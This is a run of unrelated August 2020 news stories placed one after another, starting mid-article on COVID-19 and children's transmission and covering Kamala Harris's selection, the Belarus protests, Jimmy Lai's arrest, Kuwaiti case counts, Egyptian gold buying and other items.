lower viral load than adults, therefore cannot spread the virus as much Eminent statistician Sir David Spiegelhalter claimed in May that children carry just a fraction of the viral load compared to adults, which significantly reduces their ability to fall ill or infect others. Professor Spiegelhalter condemned a German pre-published study that suggested children carry the same viral load of COVID-19 as adults. Because youngsters get much more mild symptoms, the results raised fears children could become super-spreaders. However the statistician said the data clearly had been misinterpreted because it actually showed children have just a quarter of the viral load of adults. He told the BBC: 'One of the big problems with this epidemic is that claims are being rushed out. Peer -review [when other scientists scrutinise research] has just disappeared from scientific analyses and yet they get a lot of media coverage. 'It is widely claimed that children have got the same viral load as adults, from a German study. 'If you look at that study it shows that is clearly not the case, children have about a quarter of the viral load according to the study. It's a very poor statistical analysis.' Eminent statistician Sir David Spiegelhalter claimed in May that children carry just a fraction of the viral load compared to adults, which significantly reduces their ability to infect others Children under 15 'rarely transmit the virus' OPENING SCHOOLS WILL CAUSE A SECOND WAVE EVEN IF CHILDREN ARE LESS INFECTIOUS THAN ADULTS Some studies say children cannot transmit the virus as easily as adults. But the re-opening of schools does not just mean youngsters mingling together again. It would bring together adults, including teachers, parents and childcare workers, back together again. The return of schools would cause a knock-on effect with likely more people on public transport or in offices - which could influence the spread of the virus. A recent study revealed that, if schools do re-open and lockdown is gradually lifted with more people slowly returning to work, a second wave will occur. The secondary wave would result in the R rate the number of people each Covid-19 patient infects rising above the dreaded number of one. This could yield a secondary wave of infections 2-2.3 times the size of the first, which has so far killed around 46,201 people. The peak would come in December, or in February 2021 if schools re-open on just a part-time basis. But it could be avoided with pubs remaining open and no draconian lockdowns needed if testing is dramatically ramped up and the contact tracing system becomes better. Three quarters of people with Covid-19 would need to be tested and self-isolate to prevent a second wave caused by schools reopening. Experts found that, to prevent a second wave when schools reopen, the NHS contact tracing system must reach 68 per cent of cases and their contacts. But the current NHS system is 'not good enough'. It reaches half of contacts and only a fraction of symptomatic cases are tested, according to researchers from University College London and the London School of Hygiene and Tropical Medicine. The study, published today in The Lancet Child and Adolescent Health on August 3, assumed children were as infectious as adults. But the results remained true even when the team re-ran the model with the assumption that children and young people were 50 per cent as infectious as adults. Advertisement Professor Mark Woolhouse, an epidemiologist from the University of Edinburgh, said that children of school age up to 15 are 'minimally involved in the epidemiology of this virus'. The professor, who sits on a sub-group of SAGE, told The Times on July 21 it is 'extremely difficult' to find any instances of children spreading the virus to adults in schools, with no certain cases. He said: 'There is increasing evidence that they rarely transmit. 'For example, it is extremely difficult to find any instance anywhere in the world as a single example of a child transmitting to a teacher in school. There may have been one in Australia but it is incredibly rare. 'There are certain environments where this virus transmits very well and children are not present in these environments.' He suggests closing schools was 'never essential' and said it was unlikely that governments would repeat the drastic step. Evidence now suggests children are 'minimally involved' in the spread of Covid-19, which politicians should bear in mind in the future, he added. Children are unlikely to spread the disease because they don't catch it in the first place One study by University College London claimed children are unlikely to be involved with transmission of the virus because they so rarely get it. The team analysed 18 studies looking into the link between the viral disease and children. Their findings, revealed on May 23, are yet to be published or peer-reviewed. The risk of catching Covid-19 in children and teenagers was 56 per cent lower compared to adults over 20. Researchers did not have sufficient data to examine whether children under 12 differed to teenagers in susceptibility. Under-18s also appear to account for just one in 10 family clusters of the viral disease, although this was based on just one study so the evidence is weak. Lead author Professor Russell Viner told a press conference: 'Susceptibility is a key part of the chain of infection, and this supports the view that children are likely to play a smaller role in transmitting the virus and proliferating the pandemic, although considerable uncertainty remains.' Co-author Dr Rosalind Eggo, an infectious disease modeller at the London School of Hygiene and Tropical Medicine, said: 'It [the study] suggests that children and young people are at lower risk of infection than adults and may therefore play a smaller role in the epidemic as a whole. Evidence on how children spread the disease is 'inconclusive' The government's SAGE experts suggested in May that children are at low danger from coronavirus but evidence on how they transmit the virus is 'inconclusive'. Although they admit there is no certainty, a raft of papers suggest that children are less likely to be infected and infectious than adults, and teachers do not seem at heightened risk. The documents, prepared in the weeks up to May 1, float the idea of splitting classes in half and having children attend schools alternate weeks, saying that could slash the effect on the coronavirus 'R' number. 'Evidence remains inconclusive on both the susceptibility and infectivity of children, but the balance of evidence suggests that both may be lower than in adults,' one paper said. The government's SAGE experts suggested in May that children are at low danger from coronavirus but evidence on how they transmit the virus is 'inconclusive'. Pictured: Pupils at Greenacres Primary Academy in Oldham, northern England on June 18 What does the evidence say about severity of illness? Children are unlikely to fall seriously ill and the risk of death is 'very low' A study found that the risks of coronavirus to children are very low, adding weight to previous research on the topic. Researchers from Great Ormond Street Hospital in London looked at more than 582 children aged three and above who were diagnosed with Covid-19 across Europe during the height of the crisis in April. The study found that, out of 363 children who went to hospital for treatment, fewer than one in 10 (8 per cent) needed intensive care. The study published in the journal Lancet Child & Adolescent Health on June 25 also showed only 25 children needed mechanical ventilation (four per cent), but when they did need it, that support was typically required for a prolonged period, often for a week or more. Four patients (0.68 per cent) died during the research but academics cautioned the study only included patients who sought help and were tested for Covid-19. This means milder cases would not have been included. For this reason they advise against extrapolating the numbers observed in their study to the wider population. They say if milder cases were taken into consideration, the risk of being hospitalised or dying from Covid-19 for children would be drastically reduced. Lead researcher Dr Marc Tebruegge, from the University College London Great Ormond Street Institute of Child Health in London, said the findings were 'reassuring'. Under-20s are half as likely to become sick with Covid-19 as over-70s London School of Hygiene and Tropical Medicine academics analysed data from 32 locations in six different countries China, Italy, Japan, Singapore, Canada and South Korea. They found across all regions, under-20s are about half as susceptible to infection as people who are older, and only 21 per cent of infected 10 to 19-year-olds get symptoms. In comparison, the rate among over-70s considered to be the most vulnerable to the disease was three times higher (69 per cent), according to the study that was published in the journal Nature Medicine on June 16. Professor Mark Woolhouse, an epidemiologist at the University of Edinburgh, was not involved with the study but said: '[They] were not able to determine whether young people are also less infectious, though this could be the case if infectiousness is linked to the severity of symptoms.' Reasons for children's apparent resilience to the disease are still unclear, despite a wave of trials devoted to unraveling the truth on the contentious topic. But top researchers say their immune system may be faster to react or their bodies are better able to cope with viral infections because they are younger. Donald Trump insists children are immune to the coronavirus The US president Donald Trump has repeatedly insisted that children are immune from catching the coronavirus. Pictured, Mr Trump speaks during a news conference at the White House in Washington yesterday The US president Donald Trump has repeatedly insisted that children are immune from catching the coronavirus. Asked on Monday whether infections among young people gives him any pause, he said: 'No. There may be a case, a tiny, a tiny fraction of death, tiny fraction, and they get better very quickly.' Last week, social media platforms forced Mr Trump and his campaign to remove videos from their accounts in which the president claimed children are 'virtually immune' to the virus, which is false. Asked if he still believes that, the president said: 'For the most part, yeah, I think they do very well. They don't catch it very easily ... They don't transport it or transfer it to other people, or certainly not very easily.' However, the number of new Covid-19 cases among children in the US rose 40 per cent in the last two weeks of July, according to a report released just weeks before tens of millions of American students are scheduled to begin the new school year. The new report by the American Academy of Pediatrics and the Children's Hospital Association found that more than 338,000 children have tested positive for Covid-19 since the onset of the US epidemic, with 97,078 new cases reported in the July 16-30 period. It did not give a reason for the recent spike. Testing for the novel coronavirus overall has risen in the US. A Melbourne tradesman and business owner faces cutting his staff after he was rendered ineligible for JobKeeper during the COVID-19 crisis following the death of his daughter. Peter Coll runs a roofing business in Kilsyth, in the citys east, and is trying to keep his five employees in work and on the books despite the stage four lockdowns impact on his trade. Peter Coll can't access JobKeeper after he lost income last year following the death of his daughter to cystic fibrosis. Credit:Joe Armao None of this bothered me in the slightest until the stage four lockdown, which is the point where Ive gone from 25-28 jobs a week, down to a maximum of six, Mr Coll said. When he went to his accountant to apply for JobKeeper, he was told he didnt qualify because he was making more than he was last year. The American Democratic Party presidential candidate Joe Biden has named California Senator Kamala Harris as his running mate. Biden's choice signals the importance of the Black vote in the upcoming presidential election against President Donald Trump. Biden wrote on the social media website Twitter: I have the great honor to announce that Ive picked @KamalaHarris a fearless fighter for the little guy, and one of the countrys finest public servants as my running mate. Who is Kamala Harris? Harris is a 55-year-old first-term senator from the state of California. She was born in Oakland to a Jamaican father and Indian mother. Harris won her first election in 2003 when she became San Franciscos district attorney. As the citys top lawyer, she created programs to help low-level drug offenders and keep students in school. She was elected Californias attorney general in 2010. She was the first woman and Black person to hold that job. After being elected to the U.S. Senate in 2016, she gained attention for her forceful questioning of Trump administration officials during congressional hearings. Harris launched her presidential campaign in early 2019 in a crowded race for the Democratic Party nomination. Her first campaign appearance brought out 20,000 people. But without enough money to run the campaign, Harris withdrew from the race in December 2019, two months before the first votes in the nominating process. During a primary debate, Harris attacked Biden for his opposition to busing in the 1970s as schools began to bring Black and white students together. There was a little girl in California who was a part of the second class to integrate her public schools, and she was bused to school every day, she said. And that little girl was me. Biden said her comment misrepresented his position. But the two have since returned to a warm relationship. Joe has empathy, he has a proven track record of leadership and more than ever before we need a president of the United States who understands who the people are, sees them where they are, and has a genuine desire to help and knows how to fight to get us where we need to be, Harris said at an event for Biden earlier this summer. Why is the vice president selection important? Harris joins Biden in the 2020 presidential campaign as the nation faces many problems. The coronavirus pandemic has claimed the lives of more than 160,000 people in the U.S. COVID-19 linked business closings have hurt the economy. At the same time, protests against racism and the police after the death of George Floyd have taken place across the country. The choice of vice president also carries increased importance for the Democratic Party this year. If elected, Biden would be 78 years old at the time of taking office in January. He would be the oldest man to ever become president. Biden has not said whether he will seek a second term in 2024. Bidens running mate would then likely become the leading Democratic Party candidate for the presidential nomination that year. Im Caty Weaver. Hai Do adapted this story based on Associated Press and other materials for VOA Learning English. Mario Ritter, Jr. was the editor. ______________________________________________ Words in This Story integrate v. to end a policy that keeps people of different races separate genuine adj. real or true pandemic n. a situation in which an infectious disease spreads quickly over a large area of the world We want to hear from you. Write to us in the Comments section, and visit our Facebook page. Belarusian opposition supporters protest against presidential election results in Minsk - Reuters One man has died in protests in Belarus as demonstrators clashed with police for a second night after a disputed election handed a sixth term to strongman Alexander Lukashenko. Thousands took to the streets of the capital Minsk on Monday night, saying Mr Lukashenko had stolen the election from his surprise challenger, political novice Svetlana Tikhanovskaya. Police used rubber bullets, stun grenades and tear gas but demonstrators fought back with stones and fireworks and built makeshift barricades, protesters and witnesses said, in chaotic scenes of defiance in the authoritarian former Soviet republic. "Too many people are against Lukashenko," Pavel, a 34-year-old protester said. "Our goal is to depose Lukashenko. He is not worthy of being president." At one flashpoint in Minsk, protesters - mostly men but also several women - used sacks, buckets and metal barriers to build barricades. Protesters built makeshift barricades - YAUHEN YERCHAK/EPA-EFE/Shutterstock A man died when an explosive device went off in his hand on Monday night, police said, confirming the first casualty of the post-election protests. "One of the protesters tried to throw an unidentified explosive device at members of law enforcement. It exploded in his hand," the interior ministry said, adding that he died of his injuries. A police spokeswoman could not immediately say how many people had been injured in Monday's clashes. Mrs Tikhanovskaya had said earlier she would not take part in the demonstrations to avoid "provocations". "The authorities should think about how to peacefully hand over power to us," she said. The 37-year-old mother of two decided to run for president after the authorities jailed her husband, popular blogger Sergei Tikhanovsky, and barred him from contesting. Police officers inspect destroyed barricades during a protest - YAUHEN YERCHAK/EPA-EFE/Shutterstock Her campaign galvanised the opposition, presenting the most serious challenge to former collective farm director Mr Lukashenko, who has ruled Belarus since 1994, brooking no dissent and earning the nickname of "Europe's last dictator". Story continues The whereabouts of Mrs Tikhanovskaya - who has claimed victory in Sunday's poll and called for Mr Lukashenko to step down - were unknown as of late Monday. to her campaign staff on Monday night, her spokeswoman Anna Krasulina said. On Monday Mrs Tikhanovskaya went to lodge a complaint with the Central Election Commission where she spent three hours, Ms Krasulina said. After leaving the commission headquarters she had gone incommunicado, Ms Krasulina added, without providing further details. Tried to reach Svetlana #Tikhanovskaya for several hours. Her whereabouts not known even to her staff. Concerned about her safety. #Belarus pic.twitter.com/bkGbqWnu9Y Linas Linkevicius (@LinkeviciusL) August 10, 2020 The foreign minister of EU member Lithuania, another ex-Soviet republic, also said he could not reach Mrs Tikhanovskaya as of late Monday. "I tried to reach her for several hours but her whereabouts are unknown since she went to the election commission to file a protest over the vote count," Linas Linkevicius said. "It raises concern about her safety," Mr Linkevicius said. But early on Tuesday morning Mr Linkevicius tweeted that Mrs Tikhanovskaya was safe and in Lithuania. Earlier on Monday, election officials confirmed Mr Lukashenko's re-election for a sixth term, saying he had won more than 80 percent of the vote, with Mrs Tikhanovskaya coming second with 10 percent. The White House said on Monday it was "deeply concerned", adding that "intimidation of opposition candidates and the detention of peaceful protesters" were among numerous factors that marred the election and its aftermath. European governments also questioned the results, with Germany voicing "strong doubts" about the conduct of the vote and France urging restraint. But Russian President Vladimir Putin congratulated Mr Lukashenko, a longtime ally, as did Chinese leader Xi Jinping. Mr Lukashenko was defiant, vowing he would not allow Belarus to be "torn apart". "We recorded calls from abroad. There were calls from Poland, Britain and the Czech Republic, they were directing our - forgive me - sheep," Mr Lukashenko said. Thousands took to the streets in cities across Belarus on Sunday night to denounce the vote, sparking clashes with members of law enforcement. Police officers detain demonstrators during a protest the day after the presidential election, in Minsk, Belarus - YAUHEN YERCHAK/EPA-EFE/Shutterstock Police said they detained some 3,000 people, around 1,000 of them in Minsk, after those clashes. Images released by pro-opposition media showed police firing stun grenades and rubber bullets into the crowds and a police van ramming into the demonstration and running down a protester. Young protesters were seen covered in blood, lying immobile on the ground or being dragged away by police. The interior ministry said dozens were injured in the capital, accusing some protesters of sparking confrontations. The Belarusian Investigative Committee said it had opened 21 criminal probes into "mass unrest" and using violence against police and detained more than 80 people. "I am ashamed of what interior ministry forces did, I served in these forces," Sergei, a 45-year-old sheet metal worker, said. Schools in Armenia that have remained closed due to the coronavirus pandemic since March will open their doors to students on September 15, according to Education Minister Arayik Harutiunian. Harutiunian said on Monday that the issue was discussed by senior government officials coordinating the coronavirus state of emergency earlier that day. The minister added that vocational training colleges, music and art schools will also reopen on September 15. All establishments must comply with sanitary and hygienic rules set by the government, Harutiunian stressed. According to the minister, decisions on universities and a number of other educational institutions will be made within the next week. Authorities overseeing the state of emergency, other our colleagues and the ministry have jointly developed detailed procedures and guidelines on all issues, which will be published and shared in the coming days, Harutiunian said in a Facebook post. Dear teachers, parents and students, in the coming weeks we must work together to ensure a successful start and a smooth course of the academic year, taking into account the restrictions caused by the pandemic and excluding media provocations, the minister added. All schools, universities and other general education institutions have remained closed since the beginning of the coronavirus epidemic in March when they switched to distance learning to ensure the continuity of the educational process. The current state of emergency in Armenia is due to end on August 12, but the government plans to extend it for another month. Hong Kong's arrest of local media mogul Jimmy Lai Chee-ying sparked a round of international condemnation, with Washington, Brussels and others calling the move the latest example of the government's use of a new national security law to silence political dissents. "I'm deeply troubled by reports of the arrest of [Lai] under Hong Kong's draconian National Security Law," Pompeo said in a Twitter post. "Further proof that the [Chinese Communist Party] has eviscerated Hong Kong's freedoms and eroded the rights of its people." Britain, the European Union and the United Nations also expressed concern over the police move just over a month into the implementation of the new law that has a maximum penalty of life imprisonment. British Prime Minister Boris Johnson called the arrest a pretext to silence opposition. "We are deeply concerned by the arrest of Jimmy Lai and six other individuals in Hong Kong," a spokesman for Johnson said. He added: "Freedom of the press is explicitly guaranteed in the Sino-British Joint Declaration and the Basic Law and is supposed to be protected under Article 4 of the national security law. "This is further evidence that the national security law is being used as a pretext to silence opposition. The Hong Kong authorities must uphold the rights and freedoms of its people." Lai and six others - including his two sons and some of Apple Daily's management team - were arrested Monday for alleged collusion with foreign forces in the most high profile police operation under the national security law recently imposed by Beijing. Police also raided the newspaper's offices, spending several hours combing through the premises for unspecified documents, a move that was widely condemned by journalists' associations in Hong Kong. In another operation that began late afternoon, police also arrested three other activists, including Agnes Chow Ting, a close associate of former student leader Joshua Wong Chi-fung, on suspicion of collusion with foreign or external forces to endanger national security, sources told the Post. Story continues Hong Kong police raid Apple Daily office in Hong Kong, China in this still picture taken from a social media video on Monday. Photo: Apple Daily via Reuters alt=Hong Kong police raid Apple Daily office in Hong Kong, China in this still picture taken from a social media video on Monday. Photo: Apple Daily via Reuters Freelance ITV News journalist, Wilson Li, was among the other two arrested. Li was formerly a member of Scholarism, the student activists' group formed by Joshua Wong. He was arrested along with activist Andy Li, according to ITV. An ITV News spokesperson said: "We can confirm that Wilson Li works for ITV News in a freelance capacity. We are concerned to hear of his arrest and are urgently seeking clarification of the circumstances." European Commission spokesman Peter Stano said the arrests of Lai, his family members and other individuals, and the raid on the offices of Apple Daily, "further stoke fears that the National Security Law is being used to stifle freedom of expression and of the media in Hong Kong". "The European Union recalls that the respect for human rights and fundamental freedoms is a central element of the Basic Law and the 'one country, two systems' principle," Stano said. In addition, media freedom and pluralism are "pillars of democracy" as they are "essential components of open and free society', he said. "It is essential that the existing rights and freedoms of Hong Kong residents are fully protected, including freedom of speech, of the press and of publication, as well as freedom of association and of assembly." The UN human rights office voiced deep concern on Monday at Lai's arrest under the new security law. "We urge the authorities to review these cases to ensure that the arrests do not impinge on the exercise of rights protected by the international human rights law and Hong Kong's Basic Law," Jeremy Laurence, spokesman for the office of UN High Commissioner for Human Rights Michelle Bachelet told Reuters. "We repeat our calls for the authorities to monitor and review the operation of the security law and to amend it if necessary to ensure there is no scope for its misuse to restrict human rights guaranteed by international law and the Basic Law of Hong Kong," Laurence added. Republican US senator Marco Rubio, known for writing and supporting legislation that calls for the sanctioning of officials deemed to be responsible for undermining Hong Kong's autonomy, including the Hong Kong Human Rights and Democracy Act, also weighed in on Lai's arrest. "As more arrests are expected, the free world must respond quickly as well as provide safe harbor to at-risk Hong Kongers," Rubio said in a retweet of a post about the situation by US-based Samuel Chu of the Hong Kong Democracy Council. Chu is one of six people now sought by Hong Kong police on suspicion of breaking the new national security law. This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright 2020 South China Morning Post Publishers Ltd. All rights reserved. Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved. Iran Prisons Atlas website says that following the coronavirus outbreak in Tehran's central prison, Evin, several inmates in Ward 8 of the infamous jail held a sit-in protest on Monday, August 10, in the courtyard of the guardhouse. The website advocating prisoners rights also said that "27 political prisoners participated in the sit-in protest and demanded an immediate investigation into the dire conditions at Evin." Hours earlier, Iran's Free Trade Union website reported that twelve prisoners from Ward 8 of Evins Public Ward had contracted the deadly virus. The union named a renowned member of the Teachers' Union, Esmaeil Abdi and an outspoken attorney, Amirsalar Davari, among the victims. According to Abdi's wife, Minoo the twelve were "transferred to Evin Prison Medical Center, and all are kept in the same room." However, other reports suggest that the twelve were suspected of contracting coronavirus a week earlier while interacting with other prisoners. Therefore, all inmates are now deeply worried. Earlier, Amnesty International published some correspondence between the Iranian Prisons Organization and officials of the Ministry of Health, revealing that since the outbreak of the pandemic the government of the Islamic Republic has failed to send medical equipment and supplies to the country's prisons to contain the coronavirus. Furthermore, an international award-winning human rights advocate, Narges Mohammadi, disclosed that along with eleven others, she had contracted COVID-19. Ms. Mohammadi is behind bars in the city of Zanjan's prison for "propaganda against the regime." CatholicVote demands Biden speak out against church attacks, leading Dems hate-filled rhetoric Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A conservative Catholic group has called on presumptive Democratic presidential nominee Joe Biden to publicly denounce attacks on Catholic churches as well as the fueling of a climate of hate against Catholics by prominent members of his party. Referring to arson-related church fires, desecration of sacred symbols and statues by extremist mobs and to the hate-filled rhetoric of leading members of the Democratic Party, CatholicVote said in a statement that Biden, a baptized Catholic, has a responsibility and duty to Catholics to publicly condemn these attacks. Catholic churches across America are literally burning, and Joe Biden has said nothing, CatholicVote President Brian Burch said. Leading members of the Democratic Party have fueled a climate of hate against Catholics, and these attacks have now led to acts of vandalism and violence. These attacks on the Church raise serious questions about the commitment of Joe Biden, a self-professed Catholic, to stand up to the rising climate of anti-Catholicism across the country. Former congressman and CatholicVote Senior Political Adviser Tim Huelskamp said the growing anti-Catholic rampage offends all good and decent Catholics. Joe Bidens deafening silence during this hate-filled epidemic speaks loudly of his consent to this shocking assault on our religious freedoms, he added. Last month, two Catholic churches were set on fire while statues of the Virgin Mary in major cities across the U.S. were defaced. In the New York City borough of Queens, a vandal targeted a statue of the Virgin Mary located at Cathedral Prep School and Seminary. CatholicVote says it plans to reach over 5 million active Catholics in battleground states during this election cycle. President Donald Trump recently said that Biden is against God. In response, Biden's campaign released a statement to supporters, labeling the remarks as shameful. Like so many people, my faith has been the bedrock foundation of my life: its provided me comfort in moments of loss and tragedy, its kept me grounded and humbled in times of triumph and joy, said Biden through his campaign. Last month, more than 100 Christian pastors and pro-life academics and advocates called on the Democratic National Committee to recognize the inviolable human dignity of the child, before and after birth, and adopt a party platform thats friendlier to those who are pro-life. We urge the Democratic Party to embrace policies that protect both women and children: legal protection for pre-born children, improved prenatal care for women in need, especially women of color, alternatives to abortion, and a comprehensive culture of life free from violence, poverty and racism, the letter said. Last year, Biden reversed his decades-long support for restricting federal funding of abortions, according to The Associated Press, which quoted him as saying at the time: Just as Ive never attempted to impose my views on anyone else as to when life begins, I have never attempted to impose my view on who should pay for it. Steven Krueger, president of the nonprofit Catholic Democrats, warned at the time that the far left wing of the party has had an influence on a number of issues, particularly on the issue of abortion, that is not going to serve candidates well once theyre in the general election. Source: Xinhua| 2020-08-11 20:13:12|Editor: huaxia Video Player Close KUWAIT CITY, Aug. 11 (Xinhua) -- Kuwait on Tuesday reported 668 new COVID-19 cases and four more deaths, raising the tally of infections to 73,068 and the death toll to 486, the Health Ministry said in a statement. Currently, 7,823 patients are receiving treatment, including 110 in ICU, the statement added. The ministry also announced the recovery of 731 more patients, raising the total recoveries in the country to 64,759. Kuwait started the third-phase plan of restoring normal life on July 28. During this phase, labor capacity will increase to no more than 50 percent and visits to social care homes will be allowed. Kuwait and China have been supporting each other and cooperating closely in combating the COVID-19 pandemic. Kuwait donated medical supplies worth 3 million U.S. dollars to China at the early stage of the COVID-19 outbreak. On April 27, a team of Chinese medical experts visited Kuwait to assist the Gulf country's anti-coronavirus fight, through sharing their experience and expertise in the prevention, diagnosis and treatment of COVID-19. Enditem ROSEVILLE, Calif., Aug. 11, 2020 /PRNewswire/ -- Always Best Care Senior Services, one of the leading senior care franchise systems in the United States, announced today it has entered the state of Utah with the opening of its newest location in St. George. Located at 1079 E. Riverside Drive #202, Always Best Care of Southern Utah is owned and operated by new franchisee Henry Lee, and will provide award-winning senior care services to Southern Utah and the surrounding communities of St. George. Henry is joined by his wife Julie, who will assist with some of the day-to-day operations of the new business, as well as his mother, Lea, who will serve as the agency's staffing coordinator. "This marks a milestone for Always Best Care as we celebrate the launch of our newest territory in Southern Utah. We couldn't be prouder to have Henry, an individual with such a strong entrepreneurial spirit and passion for in-home care, spearhead this launch on behalf of our company," said Jake Brown, President & CEO of Always Best Care. "Henry's past experience in management and leadership coupled with his involvement in the local community will allow his agency to provide the highest level of care to Southern Utah for years to come." Originally from the Philippines and California, Henry Lee became a resident of St. George in 2018. He earned his bachelor's in philosophy from San Francisco State University and an MBA from the University of San Francisco. Prior to joining Always Best Care, Lee was the founder of a commercial laundry facility that he owned and operated until selling the business in August 2017. He previously led a career as a commercial and residential real estate investor, owning properties in the Sacramento and Stockton, California areas, and also has a background in media relations. Lee's passion for the in-home care industry formed several years ago when he began caring for his father, assisting him to attend doctor's appointments and various other errands. "The population of Washington County has risen over 30% since 2010, increasing need for in-home health care as our city rapidly grows each year. We identified a shortage of non-medical care providers in the area and quickly learned about the franchise opportunity with Always Best Care," said Henry Lee. "The services we're able to provide in our community are essential to improving the quality of life for loved ones who require additional care, and I'm thrilled to open in Southern Utah alongside the support of my family. We look forward to serving the area for many years to come by providing the best possible care through Always Best Care's proven business model and support." Always Best Care is one of the nation's leading providers of non-medical in-home care and assisted living referral services. The company delivers its services through an international network of more than 200 independently owned and operated franchise territories throughout the United States and Canada. By working with case managers, social workers, discharge planners, doctors, and families, Always Best Care franchise owners provide affordable, comprehensive solutions that can be specifically matched to meet a client's particular physical or social needs. The hallmark services of Always Best Care include non-medical in-home care and assisted living finder and referral services, with skilled home health care in some limited markets. For additional information on services available through Always Best Care of Southern Utah, or for a free evaluation, please call 435-216-7080, email [email protected] and visit AlwaysBestCareStGeorge.com. About Always Best Care Founded in 1996, Always Best Care Senior Services is based on the belief that having the right people for the right level of care means peace of mind for the client and family. Always Best Care assists seniors with a wide range of conditions and personal needs, and currently provides millions of hours of care every year. Franchise opportunities are available to individuals interested in leveraging the company's clear strategy and proven track record for delivering affordable, dependable service to seniors in their local areas. Always Best Care also offers an exclusive program called Always in Touch, a telephone reassurance program that provides a daily phone call to seniors and disabled adults who are living alone and have limited contact with the outside world. Always in Touch is a national telephone reassurance program offered in the USA and Canada. For more information on Always in Touch, or to request an application, visit www.Always-In-Touch.com. CONTACT: Chelsea Bear Fish Consulting 954-893-9150 [email protected] SOURCE Always Best Care Related Links http://www.alwaysbestcare.com Skeptics of the notion that the coronavirus spreads through the air including many expert advisers to the World Health Organization have held out for one missing piece of evidence: proof that floating respiratory droplets called aerosols contain live virus, and not just fragments of genetic material. Now a team of virologists and aerosol scientists has produced exactly that: confirmation of infectious virus in the air. This is what people have been clamoring for, said Linsey Marr, an expert in airborne spread of viruses who was not involved in the work. Its unambiguous evidence that there is infectious virus in aerosols. A research team at the University of Florida succeeded in isolating live virus from aerosols collected at a distance of seven to 16 feet from patients hospitalized with Covid-19 farther than the six feet recommended in social distancing guidelines. Global jitters triggered by the repercussions of the coronavirus pandemic are bewitching Egyptians into a new gold investment trend. As gold prices shoot up all over the world, demand for the precious metal is picking up in Egypt, where the man in the street is switching to gold bars and coins rather than traditional jewelry to make snappy gains. Demand especially from individuals for gold bars and coins is rising significantly. This is a new phenomenon in Egypt. Many people are interested in gold coins, which are 21 karat weighing 8 grams each, Ahmed Abdelaal, chairman of Abdelaal Jewelry Co., told Al-Monitor. Prices of 21 karat and 24 karat gold were 910 Egyptian pounds ($57) and 1,040 Egyptian pounds ($65), respectively, on Aug. 9. Egypts gold sovereign stood at 7,280 pounds ($455). Abdelaal explained how gold is one of the safe havens, such as properties and certificates of deposits. Gold is even better than real estate as it could be sold faster and easier, he said. There has been a shortage on the supply side due to the lockdown and flight suspension. Second-hand gold trading has boomed in the local market with rising global prices of the precious metal and growing demand. More and more people have become aware of gold bars and coins as an investment, Abdelaal said, noting that individuals are seeking gold assets that would be easier to sell. Although a supply crunch hit the local market in the first half of 2020 on the back of the coronavirus crisis, demand rebounded as many Egyptians switch to gold as a store of wealth, Abdelaal said, pointing out that the supply crunch was global due to worldwide lockdowns. Worries resulting from the coronavirus pandemic have caused a stampede for the precious metal, not only in Egypt but all over the world, especially from asset management funds that usually drop the greenback to buy gold. This is known as the traditional inverse relationship between the US dollar and gold. Thats why the US currency has been falling worldwide with rising gold prices, Abdelaal explained. Since lifting the lockdown, Egyptians corporate investors and retailers have been buying into gold assets, whether jewelry, ounces or even gold sovereigns. In recent weeks, many retailers showed more interest in ounces and gold sovereigns. Business owners and some individuals are interested in gold as an investment option, Abdelaal said. However, Abdelaal admits that the price of gold jewelry is very high in Egypt due to expensive engraving and design costs and growing demand. I think the price of 21 karat will decline to around 700 pounds [$44] per gram, from around 910 pounds in the coming months as demand eases. Gold prices usually ease after a series of surging, he forecast. Maged Azmi, owner of a gold store in Cairo, agreed with Abdelaal that prices would ease. Its conditional that the coronavirus pandemic will die out. Global gold prices may continue to increase as long as recession and coronavirus fears persist. The picture is not clear yet, Azmi told Al-Monitor. Data from the World Gold Council, the London-based market development organization for the gold industry, showed that demand for jewelry in Egypt had fallen by 70% to 1.7 tons in the second quarter, down from 6.9 tons in the first quarter. A World Gold Council report pulished July 30 said that H1 global jewelry demand almost halved to 572 tons amid the global disruption caused by the pandemic. Answering a question on how the World Gold Council data showed a decline in demand while Egyptians are buying into gold assets in general, Azmi explained that the councils report shows only fresh supply of the precious metal within a country. There were no flights between March 19 and July 1. The traded gold on the local market was either locally produced or second-hand jewelry, bars and coins. The World Gold Council data dont include second-hand trades. With the resumption of imports, the situation will be different as of the third quarter, he noted. Azmi said the culture of holding gold is the same, but with a different target. In the past, Egyptians from all walks of life used to buy mainly jewelry. Today they are more attracted to bars and coins as an investment. This is a new trend, he added. Ahead of Eid al-Adha the Muslim feast of sacrifice sales of jewelry usually increase as young men seeking marriage buy 'shabka' [gold gift given to a bride]. Traditionally, the shabka should be in 21 karat gold, but demand for the cheaper 18 karat jewelry is on the rise, he said. Moreover, the man in the street is seeking to make a few more pounds by buying and reselling second-hand jewelry, bars and coins. For me gold is becoming a lifetime investment compared to properties. When I need cash I would sell it easily and immediately. It might take weeks or even months to sell a property at the desired price, Seham Ayoub, a public servant, told Al-Monitor. I made around 10% gains in only two weeks. A bank deposit would make maximum 15% yields in a year. Gold is better as long as you know when to buy and resell. TDT | Manama A number of Lebanese people wounded in the devastating blast that rocked Beirut last week will be flown to Bahrain to receive treatment. This was revealed yesterday by Royal Humanitarian Foundation (RHF) secretary-general Dr Mustafa Al Sayed, who said that this initiative was welcomed by Lebanese Minister of Public Health Dr Hamad Hassan in his talks with Bahrains Charge dAffaires to Syria Ali Al Mahmoud. His Majesty King Hamad bin Isa Al Khalifa had assigned the RHF, led by HM the Kings Humanitarian Work and Youth Affairs representative His Highness Shaikh Nasser bin Hamad Al Khalifa, to dispatch urgent humanitarian relief aid to the people of Lebanon in the aftermath of the Beirut blast. The Lebanese minister welcomed this initiative and added that he would send Al Mahmoud a list featuring the names and details of the wounded. The two sides also discussed a plan to dispatch a Bahraini medical team to Beirut to join in treatment efforts of those who sustained injuries in the blast. Dr Hassan commended Bahrains initiatives and efforts to support the people of Lebanon, adding that his countrys medical teams are capable, for now, of delivering all required treatment. Dr Hassan suggested that Al Mahmoud takes part in overseeing the distribution of respiratory ventilators to health centres, which are in dire need of these Bahrains phase advanced medical equipment. Photo: (Photo : YouTube/KTVB) Coleman Medcoff was diagnosed with an inoperable brain tumor a year ago. Now, volunteers help him restore the classic car of the 15-year-old's dream. Love at first sight Before the pandemic happened, the teen from Parma, Idaho, fell in love at first sight when he came across the 1964 Mercury Monterey. Before he found the car he named 